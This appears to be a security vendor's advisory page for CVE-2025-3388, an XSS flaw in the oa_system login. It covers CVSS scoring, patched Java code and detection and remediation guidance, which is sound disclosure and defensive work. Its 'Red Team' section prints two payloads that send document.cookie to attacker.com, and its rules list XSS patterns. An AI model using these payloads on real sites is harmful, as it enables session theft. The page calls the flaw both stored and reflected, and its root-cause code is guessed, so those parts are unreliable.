CVE-2025-3388
Executive Summary
CVE-2025-3388 is a stored cross-site scripting (XSS) vulnerability in the hailey888 oa_system application, affecting versions up to 2025.01.01. The flaw resides in the loginCheck function within LoginsController.java, where the Username parameter is not properly sanitized before being reflected in the application’s response. An attacker can craft a malicious username containing JavaScript payloads, which will execute in the context of any user viewing the login failure page or administrative logs. The vulnerability is remotely exploitable without authentication, and a proof-of-concept has been publicly disclosed. No official patch is available; the vendor relies on continuous delivery with rolling releases, making version tracking and remediation challenging.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not involve an NPM, PyPI, Go, or Ruby package. The affected component is a Java-based web application (oa_system) distributed as a compiled WAR or JAR file. Supply chain risks are limited to the integrity of the vendor’s distribution channel and the lack of versioned releases.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must view the malicious page)
- Scope: Unchanged
- Confidentiality Impact: Low (potential cookie theft or session hijacking)
- Integrity Impact: Low (ability to inject scripts)
- Availability Impact: None
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in an internal OA system, the impact can be amplified if an administrator views the login logs.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the login mechanism. The loginCheck method in LoginsController.java processes the Username parameter from the login form. When authentication fails, the application constructs an error message that includes the unsanitized username. This message is then rendered in the response HTML without proper encoding.
Root Cause:
The Username parameter is directly concatenated into the response without HTML entity encoding or output escaping. For example, the code might do something like:model.addAttribute("error", "Login failed for user: " + username);
Attack Flow:
- Attacker crafts a URL:
http://target/oa/login?Username=<script>alert('XSS')</script> - Victim clicks the link or is redirected to it.
- The server returns a page containing the unsanitized username in the error message.
- The browser executes the injected script.
Why It Matters:
- No authentication required.
- Can be used to steal session cookies, perform phishing, or deface the login page.
- In an OA system, an attacker could target administrators to gain higher privileges.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// LoginsController.java
@RequestMapping("/loginCheck")
public String loginCheck(@RequestParam("Username") String username, Model model) {
// ... authentication logic ...
if (authFailed) {
model.addAttribute("error", "Login failed for user: " + username);
return "login";
}
// ...
}
Patched Code (recommended):
import org.springframework.web.util.HtmlUtils;
@RequestMapping("/loginCheck")
public String loginCheck(@RequestParam("Username") String username, Model model) {
// ... authentication logic ...
if (authFailed) {
String safeUsername = HtmlUtils.htmlEscape(username);
model.addAttribute("error", "Login failed for user: " + safeUsername);
return "login";
}
// ...
}
Key Difference:
The patched version uses HtmlUtils.htmlEscape() to convert special characters (<, >, &, ", ') into their HTML entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running
hailey888 oa_systemup to 2025.01.01. - No authentication required.
- Victim must view the crafted URL.
Exploit Payload:
http://target/oa/loginCheck?Username=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step-by-Step:
- Identify the login endpoint:
http://target/oa/loginCheck. - Craft a malicious URL with a JavaScript payload in the
Usernameparameter. - Send the URL to the victim via email, social engineering, or embed in a page.
- When the victim clicks the link, the script executes and exfiltrates cookies to the attacker’s server.
Advanced Payload (Session Hijacking):
http://target/oa/loginCheck?Username=<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
<script>oronerror=in theUsernameparameter. - Use WAF rules to block XSS patterns in login parameters.
- Deploy browser-based XSS filters (e.g., CSP headers).
Hardening:
- Apply the patched code (HTML entity encoding).
- Implement Content Security Policy (CSP) to block inline scripts.
- Use HTTP-only cookies to prevent JavaScript access.
- Enable X-XSS-Protection header (though deprecated, still useful in some browsers).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/oa/loginCheckwithUsernamecontaining<script>tags. - Outbound connections to attacker-controlled domains from the OA server.
- Unusual
Refererheaders pointing to phishing pages.
File IOCs:
- Modified
LoginsController.java(if attacker gains write access). - Suspicious entries in application logs showing XSS payloads.
Log IOCs:
- Web server logs showing
Username=<script>...in the query string. - Application logs with error messages containing HTML tags.
Detection Engineering
YARA Rule
rule CVE_2025_3388_XSS_LoginCheck {
meta:
description = "Detects XSS payloads in Username parameter for CVE-2025-3388"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3388"
strings:
$xss_payload = /Username=.*<script[^>]*>.*<\/script>/i
$xss_event = /Username=.*on\w+\s*=\s*['\"].*['\"]/i
$xss_src = /Username=.*src\s*=\s*['\"].*['\"]/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-3388 XSS Attempt on OA Login
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in the Username parameter of oa_system login
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "Username=<script"
- "Username=javascript:"
- "Username=onerror="
condition: selection
falsepositives:
- Legitimate usernames containing similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3388 XSS Attempt on OA Login"; flow:to_server; content:"/oa/loginCheck"; http_uri; content:"Username="; http_uri; pcre:"/Username=.*<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Sanitize the
Usernameparameter using HTML entity encoding (e.g.,HtmlUtils.htmlEscape()in Spring). - Deploy WAF Rules: Block requests containing
<script>or event handlers in theUsernameparameter. - Enable CSP: Add
Content-Security-Policy: script-src 'self'to prevent inline script execution.
Long-Term Fixes:
- Upgrade to the latest rolling release of
oa_system(if available). - Implement a secure coding standard that mandates output encoding for all user-supplied data.
- Conduct regular security audits and penetration testing.
Workarounds:
- If patching is not possible, disable the login error message that reflects the username.
- Use a reverse proxy to strip XSS payloads from request parameters.
Valters IT
Securing Digital Frontiers